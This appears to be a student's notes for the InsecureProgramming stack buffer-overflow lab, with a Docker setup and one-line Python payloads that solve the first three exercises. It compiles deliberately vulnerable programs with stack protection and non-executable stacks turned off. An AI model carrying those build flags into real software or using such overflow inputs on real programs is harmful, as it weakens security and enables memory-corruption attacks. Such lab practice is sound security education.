InsecureProgramming

readme.md

docker exec -it pc1_seg bash

run

docker-compose up -d
docker exec -it pc1_seg bash

Ex 1

gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack1 stack1.c
# view code
# $ cat stack1.c

# hex to string
# $ python -c '"41424344".decode("hex")' #> ABCD

# resolve
# python -c 'print("." * 80 + "ABCD")' #> ................................................................................DCBA

# $ ./stack1
# buf: ffb5fdf0 cookie: ffb5fe40
# ................................................................................DCBA
# you win!

Ex 2

# gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack2 stack2.c
# view code debugging
# $ gdb stack2
# $ (gdb) list

# resolve
# $ python -c 'print("." * 80 + "05030201".decode("hex"))' | ./stack2
# you win!

Ex 3

# same than2???
# gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack3 stack3.c
# view code
# cat stack3.c

# resolve
# $ python -c 'print("." * 80 + "05000201".decode("hex"))' | ./stack3
# you win!

Ex 4

# gcc -m32 -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o stack4 stack4.c
# view code debugging
# $ gdb stack4
# $ (gdb) list
# ??? ¯\_(ツ)_/¯

docker-compose.yml

version: '3'

services:
  pc1_seg:
    container_name: pc1_seg
    build: .
    stdin_open: true
    tty: true

Dokerfile

FROM debian:stable

RUN apt update
RUN apt install -y git gcc gcc-multilib g++-multilib python vim gdb
# RUN sysctl -w kernel.randomize_va_space=0 # disable secuty flags
RUN git clone https://github.com/gerasdf/insecureProgramming/

WORKDIR /insecureProgramming/exercises/

# copy Host to container ADD /my_app_folder /my_app_folder
# run command on execution CMD "echo" "Hello docker!"
# environment variables ENV SERVER_WORKS 4
# expose ports EXPOSE 8080
# run on build RUN aptitude install -y riak
# link host folder to container VOLUME ["/my_files"]
# WORKDIR ~/.

# After modify run with `$ docker-compose up --build` to rebuild